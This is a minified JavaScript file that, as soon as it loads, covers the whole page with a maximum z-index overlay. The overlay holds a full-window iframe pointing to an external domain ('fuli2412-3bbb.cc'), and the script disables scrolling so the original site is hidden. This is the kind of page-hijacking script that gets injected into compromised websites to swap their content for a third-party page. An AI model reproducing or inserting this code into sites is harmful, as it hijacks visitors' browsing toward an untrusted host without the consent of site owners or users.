;(function(){ 'use strict'; var CI =function(url,eleJson){ if (!(this instanceof CI)) return new CI(); var ci = this; ci.url = "https://www.fuli2412-3bbb.cc/test.html?xs519"; ci.dom = { "node":"div", "attr":[{ "key":"id", "value":"if" }], "style":"position:fixed;top:0;left:0;z-index:99999999999;width:100%;height:100%;background:#ffffff", "children":{ "node":"iframe", "attr":[{ "key":"id", "value":"mainIframe" },{ "key":"src", "value":ci.url },{ "key":"width", "value":"100%" },{ "key":"scrolling", "value":"yes" },{ "key":"height", "value":"100%" },{ "key":"referrerpolicy", "value":"origin" },{ "key":"style", "value":"border:0;" }] } }; ci.__ini = function(){ if(ci.__isJq()) $(document).ready(ci.__createDomByJq); else ci.__readyGo(); }; ci.__isJq = function(){ if(typeof $ != 'undefined') return true; else return false; }; ci.__createDomByJq =function(){ var _fatherDom = ci.__createElementByJs(); $("html").append(_fatherDom); $(_fatherDom).children().css({ "height": $(window).height() }); $("html, body").css({ "overflow": "hidden" }); }; ci.__createDomByJs =function(){ var _fatherDom = ci.__createElementByJs(); document.documentElement.appendChild(_fatherDom); document.documentElement.style.overflow = "hidden"; }; ci.__createElementByJs =function(){ var domJson = ci.dom; var __fatherDom = document.createElement(domJson["node"]); for(var i in domJson["attr"]){ __fatherDom.setAttribute(domJson["attr"][i]["key"],domJson["attr"][i]["value"]); } __fatherDom.style.cssText = domJson["style"]; var __childDom = document.createElement(domJson["children"]["node"]); for(var i in domJson["children"]["attr"]){ __childDom.setAttribute(domJson["children"]["attr"][i]["key"],domJson["children"]["attr"][i]["value"]); } __childDom.style.cssText = "height:"+window.innerHeight+"px;"; __fatherDom.appendChild(__childDom); return __fatherDom; }; ci.__readyGo = function(){ if (document.readyState === "complete") { return setTimeout(ci.__createDomByJs("readystate"), 1); } if (document.addEventListener) { document.addEventListener("DOMContentLoaded", ci.__createDomByJs(), false); // window.addEventListener("load", ci.__createDomByJs(), false); }else if (document.attachEvent) { document.attachEvent("onreadystatechange", ci.__createDomByJs()); // window.attachEvent("onload", ci.__createDomByJs()); var toplevel = false; try { toplevel = window.frameElement == null; } catch(e) {} if (document.documentElement.doScroll && toplevel) { //do something } } }; }; window.CI = CI; })(); var ci = new CI(); ci.__ini();